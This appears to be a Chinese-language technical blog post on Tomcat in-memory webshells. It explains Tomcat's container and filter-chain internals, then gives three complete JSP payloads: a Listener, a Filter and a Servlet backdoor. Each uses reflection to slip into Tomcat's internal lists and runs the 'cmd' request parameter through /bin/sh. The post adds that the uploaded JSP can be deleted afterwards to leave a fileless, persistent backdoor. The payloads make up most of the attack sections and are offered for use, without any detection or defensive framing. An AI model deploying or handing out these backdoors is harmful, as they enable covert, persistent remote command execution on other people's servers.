Skip to main content

Tomcat内存马

Tomcat 内存马能实现无文件落地来达到后门部署, 无回显的情况可以通过内存马的形式来返回执行结果。

1. Tomcat 容器

Tomcat 中主要包括四种容器, Engine、Host、Context、Wrapper

  • Engine 为外部接口,可以配置多个 Host
  • 一个 Host 可以包含多个 Context (具体 web 应用)
  • 一个 Context 可以包含多个 Wrapper
  • 每个 Wrapper 对应一个 Servlet 方法

如下图所示 tomcat|875

context 是 web 应用的上下文数据,每个 context 都有唯一的根路由,假设使用 tomcat 部署了两套系统,根路由分别是 /shop/manager 则会产生两个 context 且两者数据无关联, 要添加 context 需要在 server.xml 中配置 docbase。

在 web 应用中会包含多个路由比如登陆页、前端展示页等,不同的路由对应不同的 wrapper ,每个 wrapper 关联对应路由的 servlet 方法,执行 servlet 方法将结果返回到前台展示。

2. Listener 内存马

请求网站的时候根据请求的根路由找到对应的 context 然后依次执行 listener 链的内容,再去执行 filter 链的内容,最后一个 filter 方法将会去执行 Servlet 的 service 方法将结果按照逆序流程返回。 servletContext 提供了 addFilter 、addLIstener、addServlet 方法实现动态注册,内存马也是通过此方式将恶意方法动态注册到链路中。关于 listener 和 filter 的使用可以参考 filter 使用

listener1

Tomcat 的 listener 必须继承 EventListener 接口,其中 ServletRequestListener 可以在每次请求初始化后触发,比较合适作为内存马植入点。通过 addListener 尝试添加一个 servletRequestListener 并在初始化方法内设置恶意代码。

<%
ListenR listenR = new ListenR();
request.getServletContext().addListener(listenR);
%>

<%!
public class ListenR implements ServletRequestListener{

@Override
public void requestDestroyed(ServletRequestEvent sre) {

}

@Override
public void requestInitialized(ServletRequestEvent sre) {
int c = 1;
}
}
%>

执行后结果并不如意,控制台日志显示 无法将侦听器添加到上下文[]中,因为该上下文已初始化 意味着无法在运行中的应用中动态添加 listener。通过报错的堆栈可以看到问题出现在 ApplicationContext.addListener()

Stacktrace:]
java.lang.IllegalStateException: 无法将侦听器添加到上下文[]中,因为该上下文已初始化
at org.apache.catalina.core.ApplicationContext.checkState(ApplicationContext.java:1269)
at org.apache.catalina.core.ApplicationContext.addListener(ApplicationContext.java:1087)
at org.apache.catalina.core.ApplicationContextFacade.addListener(ApplicationContextFacade.java:624)
at org.apache.jsp.shell_jsp._jspService(shell_jsp.java:157)
at org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:583)
at org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:465)
at org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:383)
at org.apache.jasper.servlet.JspServlet.service(JspServlet.java:331)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:583)

层层跟进 addListener 方法,最终确定 addListener 方法会将传入的对象添加到 applicationEventListenersList 内,直接调用 addListener 无法通过 checkState()检查从而报错。

// org/apache/catalina/core/ApplicationContextFacade.java
public <T extends EventListener> void addListener(T t) {
if (SecurityUtil.isPackageProtectionEnabled()) {
doPrivileged("addListener", new Class[] { EventListener.class }, new Object[] { t });
} else {
context.addListener(t); // context = ApplicationContext
}
}

// org/apache/catalina/core/ApplicationContext.java
public <T extends EventListener> void addListener(T t) {
checkState("applicationContext.addListener.ise");
boolean match = false;
if (t instanceof ServletContextAttributeListener || t instanceof ServletRequestListener ||
t instanceof ServletRequestAttributeListener || t instanceof HttpSessionIdListener ||
t instanceof HttpSessionAttributeListener) {
context.addApplicationEventListener(t); // context = StandardContext
match = true;
}

// org/apache/catalina/core/StandardContext.java
public void addApplicationEventListener(Object listener) {
applicationEventListenersList.add(listener); // applicationEventListenersList = CopyOnWriteArrayList
}

2.1. listener exp

我们可以利用 java 反射机制获取到 applicationEventListenersList 变量,直接操作该 list 的 add 方法添加 listener。可以分两步来创建 listener 内存马,同时可以添加一些辅助逻辑例如将 listener 添加到第一位确保一定能触发,判断是否已经添加避免重复添加。

  • step1: 编写恶意 Listener 类 并继承 ServletRequestListener,在 Initialized 方法内编写恶意代码。
  • step2: 通过反射机制获取到 applicationEventListenersList 变量,通过 add 方法添加恶意 listener。
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%@ page import="org.apache.jasper.tagplugins.jstl.core.Out" %>
<%@ page import="java.io.IOException" %>
<%@ page import="javax.servlet.annotation.WebServlet" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.util.concurrent.CopyOnWriteArrayList" %>

<%
// 获取 applicationEventListenersList
Object obj = request.getServletContext();
Field field = obj.getClass().getDeclaredField("context");
field.setAccessible(true);
Object applicationContext = field.get(obj);
field = applicationContext.getClass().getDeclaredField("context");
field.setAccessible(true);
Object standardContext = field.get(applicationContext);
field = standardContext.getClass().getDeclaredField("applicationEventListenersList");
field.setAccessible(true);
CopyOnWriteArrayList applicationEventListenersList = (CopyOnWriteArrayList) field.get(standardContext);

// 添加恶意 listener
ListenH listenH = new ListenH(request, response);
for (int i=0;i<applicationEventListenersList.size();i++){
if (applicationEventListenersList.get(i).getClass().equals(listenH.getClass())){
out.print("already added");
return;
}
}
CopyOnWriteArrayList tmp = new CopyOnWriteArrayList();
tmp.add(listenH);
tmp.addAll(applicationEventListenersList);
out.print(tmp);
field.set(standardContext,tmp);
%>

<%!
// 恶意 listner
public class ListenH implements ServletRequestListener {
public ServletResponse response;
public ServletRequest request;

ListenH(ServletRequest request, ServletResponse response) {
this.request = request;
this.response = response;
}

public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}

public void requestInitialized(ServletRequestEvent servletRequestEvent) {
String cmder = request.getParameter("cmd");
String[] cmd = new String[]{"/bin/sh", "-c", cmder};
try {
Process ps = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while ((line = br.readLine()) != null) {
//执行结果加上回车
sb.append(line).append("<br>");
}
String result = sb.toString();
this.response.getWriter().write(result);
}catch (Exception e){
}
}
}
%>

上传该 jsp 文件到 tomcat 服务器访问后即可完成恶意 listener 植入,植入完成后可清理掉 jsp 文件后续访问任意路由并带上 cmd 参数即可实现命令执行。

3. Filter 内存马

filter 作为请求过滤器在 servlet 方法前触发,filterChan 即多个 filter 组成的链。创建 filter 时需要重写 doFilter 方法且在该方法最后一行调用 chan.dofilter 从而实现多个 filter 串成线一个接着一个的调用 doFilter,最后一个 filter 执行完后才进入 servlet 方法。

<%!
public class FilterH implements Filter{

@Override
public void init(FilterConfig filterConfig) throws ServletException {
}

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain){

# TODO
chain.doFilter(request,response);
}

@Override
public void destroy() {
}
}
%>

尝试直接使用 addFilter 直接添加 Filter,发现出现和 Listener 一样的错误,已经初始化的数组无法再进行修改。

java.lang.IllegalStateException: 无法将筛选器添加到上下文[],因为该上下文已初始化
at org.apache.catalina.core.ApplicationContext.checkState(ApplicationContext.java:1269)
at org.apache.catalina.core.ApplicationContext.addFilter(ApplicationContext.java:779)
at org.apache.catalina.core.ApplicationContext.addFilter(ApplicationContext.java:761)
at org.apache.catalina.core.ApplicationContextFacade.addFilter(ApplicationContextFacade.java:434)
at org.apache.jsp.shell_jsp._jspService(shell_jsp.java:165)
at org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:583)
at org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:465)
at org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:383)
at org.apache.jasper.servlet.JspServlet.service(JspServlet.java:331)
......

在 Servlet 路由方法内打断点,观察请求过程中 FilterChain 的执行过程。在请求堆栈中 StandardContextValve 内创建了 FilterChain,并在后续调用 FilterChain 的 doFilter 方法。

createFilterChain:81, ApplicationFilterFactory (org.apache.catalina.core)
invoke:142, StandardWrapperValve (org.apache.catalina.core)
invoke:90, StandardContextValve (org.apache.catalina.core)
invoke:483, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:130, StandardHostValve (org.apache.catalina.core)
invoke:93, ErrorReportValve (org.apache.catalina.valves)
invoke:679, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:74, StandardEngineValve (org.apache.catalina.core)
service:343, CoyoteAdapter (org.apache.catalina.connector)
service:617, Http11Processor (org.apache.coyote.http11)
process:63, AbstractProcessorLight (org.apache.coyote)
process:932, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1694, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
......

跟进 StandardContextValve 内部调用的 createFilterChain 方法,程序先通过 findFilterMaps 获取所有 filterMaps,然后通过 findFilterConfig 获取对应 map 的 FilterConfig,如果 config 存在则将其添加到 filterChain 中。

// org/apache/catalina/core/StandardWrapperValve.java
......
ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);


// org/apache/catalina/core/ApplicationFilterFactory.java
public static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet) {
......
FilterMap filterMaps[] = context.findFilterMaps();
......
for (FilterMap filterMap : filterMaps) {
if (!matchDispatcher(filterMap, dispatcher)) {
continue;
}
if (!matchFiltersServlet(filterMap, servletName)) {
continue;
}
ApplicationFilterConfig filterConfig =
(ApplicationFilterConfig) context.findFilterConfig(filterMap.getFilterName());
if (filterConfig == null) {
// FIXME - log configuration problem
continue;
}
filterChain.addFilter(filterConfig);
}

如此一来构造 filter 内存马只需要达成 2 个条件。

  1. 在 filterMaps 中插入恶意 filterMap
  2. 在 FilterConfigs 中插入恶意 filterConfig

先尝试插入 filterMap,通过阅读代码 findFilterMaps 方法最终确认返回的 Map 是 ContextFilterMaps 对象的 array 变量。且该 map 主要存放的内容为 filter 名和需要匹配的 URL,后续利用 java 反射机制即可完成插入。

// org/apache/catalina/core/StandardContext.java

private final ContextFilterMaps filterMaps = new ContextFilterMaps();

public FilterMap[] findFilterMaps() {
return filterMaps.asArray();
}

private static final class ContextFilterMaps {
private FilterMap[] array = new FilterMap[0];

public FilterMap[] asArray() {
synchronized (lock) {
return array;
}
}
}

FilterConfig 为 HashMap<String,ApplicationFilterConfig> key 设置成我们创建的 fileterName,value 为 ApplicationFilterConfig 对象。创建该对象需要两个参数 context 和 FilterDef,context 直接传入 standardContext 即可,FilterDef 直接 new 创建即可,需要注意 FilterDef 需要设置两个重要参数,一个是 filter 设置成我们的恶意 filter 对象,一个是 filtername 设置成我们创建的 filterName 。

// org/apache/catalina/core/ApplicationFilterConfig.java
public ApplicationFilterConfig(Context context, FilterDef filterDef){
super();

this.context = context;
this.filterDef = filterDef;
......
}

// org/apache/tomcat/util/descriptor/web/FilterDef.java
public class FilterDef implements Serializable {
private transient Filter filter = null;
private String filterName = null;
......

3.1. filter exp

整理好逻辑开始构造 filter 内存马,分三步走。

  1. 创建恶意 filter 对象
  2. 将 filtername 和需要过滤的路由存入 filterMaps
  3. 创建 filterConfig 在其内设置 filter 为我们的恶意 filter 对象,filtername 为我们恶意对象的 filtername,存入 filterConfigs。
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.IOException" %>

<%
String filterName = "shell";
FileterH fileter = new FileterH(); // 创建恶意filter对象

// 在 filterMaps 的首位插入恶意filterMap
Object obj = request.getServletContext();
Field field = obj.getClass().getDeclaredField("context");
field.setAccessible(true);
Object applicationContext = field.get(obj);
field = applicationContext.getClass().getDeclaredField("context");
field.setAccessible(true);
Object standardContext = field.get(applicationContext);
field = standardContext.getClass().getDeclaredField("filterMaps");
field.setAccessible(true);
Object filterMaps = field.get(standardContext);
field = filterMaps.getClass().getDeclaredField("array");
field.setAccessible(true);
FilterMap[] array = (FilterMap[]) field.get(filterMaps);
FilterMap shellFilter = new FilterMap();
shellFilter.setFilterName(filterName);
shellFilter.addURLPattern("/*");

// 在 filterConfigs 中添加恶意 filterConfigFilterMap
FilterMap tmp[] = new FilterMap[array.length + 1];
for (int i=0;i<array.length;i++){
if (array[i].getFilterName().equals(filterName)){
return;
};
tmp[i+1] = array[i];
}
tmp[0] = shellFilter;
field.set(filterMaps,tmp);
field = standardContext.getClass().getDeclaredField("filterConfigs");
field.setAccessible(true);
HashMap hashMap = (HashMap) field.get(standardContext);
FilterDef filterDef = new FilterDef();
filterDef.setFilter(fileter);
filterDef.setFilterName(filterName);
ApplicationFilterConfig myConfig= new ApplicationFilterConfig((Context) standardContext, filterDef);
hashMap.put(filterName,myConfig);
%>


<%!
// 构造恶意 filter
public class FileterH implements Filter{
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException, IOException {
try {
String cmder = request.getParameter("cmd");
String[] cmd = new String[]{"/bin/sh", "-c", cmder};
Process ps = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while ((line = br.readLine()) != null) {
//执行结果加上回车
sb.append(line).append("<br>");
}
String result = sb.toString();
response.getWriter().write(result);
chain.doFilter(request, response);
}catch (Exception e){
chain.doFilter(request, response);
}
}
@Override
public void destroy() {
}
}
%>

效果和 listener 一样,清除 jsp 文件后调用任意存在的路由依旧可以进行命令执行。

4. Servlet 内存马

最后尝试使用 addServlet 方法创建 Servlet 内存马。同样直接调用会提示已初始化的上下文无法修改,不过将 checkState 方法后面的代码块手动构造触发,通过分析 addServlet 方法接收 servletName 和具体的 servlet 对象,利用传输的 servlet 对象作为参数创建一个 wrapper 对象,最后调用 ApplicationServletRegistration 方法完成创建并返回 ServletRegistration.Dynamic 对象。

// org/apache/catalina/core/ApplicationContext.java
private ServletRegistration.Dynamic addServlet(String servletName, String servletClass, Servlet servlet,
......
checkState("applicationContext.addServlet.ise"); //已初始化导致后续操作无法进行

Wrapper wrapper = (Wrapper) context.findChild(servletName);
if (wrapper == null) {
wrapper = context.createWrapper();
wrapper.setName(servletName);
context.addChild(wrapper);
} else {...}
......

ServletSecurity annotation = null;
if (servlet == null) {...}
} else {
wrapper.setServletClass(servlet.getClass().getName());
wrapper.setServlet(servlet);
......

ServletRegistration.Dynamic registration = new ApplicationServletRegistration(wrapper, context);
if (annotation != null) {
registration.setServletSecurity(new ServletSecurityElement(annotation));
}
return registration;
}

既然返回的是一个对象,那后续这个对象需要做哪些操作才能完成 servlert 的添加呢。查询 addServlet 方法调用发现在 Test 测试用例中有关于这个方法的使用,addServlert 返回对象后调用该对象的 addMapping 方法即可完成 servlet 的创建。

//org/apache/catalina/startup/TesterServletContainerInitializer1.java

public void onStartup(Set<Class<?>> c, ServletContext ctx)
throws ServletException {
Servlet s = new TesterServlet();
ServletRegistration.Dynamic r = ctx.addServlet("TesterServlet1", s);
r.addMapping("/TesterServlet1");
}

4.1. servlet exp

整理好逻辑开始创建 servlet 内存马,分三步走。

  1. 创建恶意 servlet 对象
  2. 按照 addfilter 内的代码完成 wrapper 对象和 ServletRegistration.Dynamic 对象的创建
  3. 调用 ServletRegistration.Dynamic 的 addMapping 方法注册路由
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%@ page import="org.apache.jasper.tagplugins.jstl.core.Out" %>
<%@ page import="java.io.IOException" %>
<%@ page import="javax.servlet.annotation.WebServlet" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.util.concurrent.CopyOnWriteArrayList" %>
<%@ page import="org.apache.catalina.Container" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="org.apache.catalina.core.ApplicationServletRegistration" %>

<%
ServletH servletH = new ServletH();
Object obj = request.getServletContext();
Field field = obj.getClass().getDeclaredField("context");
field.setAccessible(true);
Object applicationContext = field.get(obj);
field = applicationContext.getClass().getDeclaredField("context");
field.setAccessible(true);
StandardContext standardContext = (StandardContext) field.get(applicationContext);
Container child = standardContext.findChild("/manager");
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName("shell");
standardContext.addChild(wrapper);
wrapper.setServletClass(servletH.getClass().getName());
wrapper.setServlet(servletH);
ServletRegistration.Dynamic registration = new ApplicationServletRegistration(wrapper, standardContext);
registration.addMapping("/shell");
%>

<%!
// 恶意 listner
public class ServletH implements Servlet{
@Override
public void init(ServletConfig config) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
try {
String cmder = req.getParameter("cmd");
String[] cmd = new String[]{"/bin/sh", "-c", cmder};
Process ps = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while ((line = br.readLine()) != null) {
//执行结果加上回车
sb.append(line).append("<br>");
}
String result = sb.toString();
res.getWriter().write(result);
}catch (Exception e){
}
}

@Override
public String getServletInfo() {
return null;
}

@Override
public void destroy() {
}
}
%>

成功注册 shell 路由实现 servlet 内存马。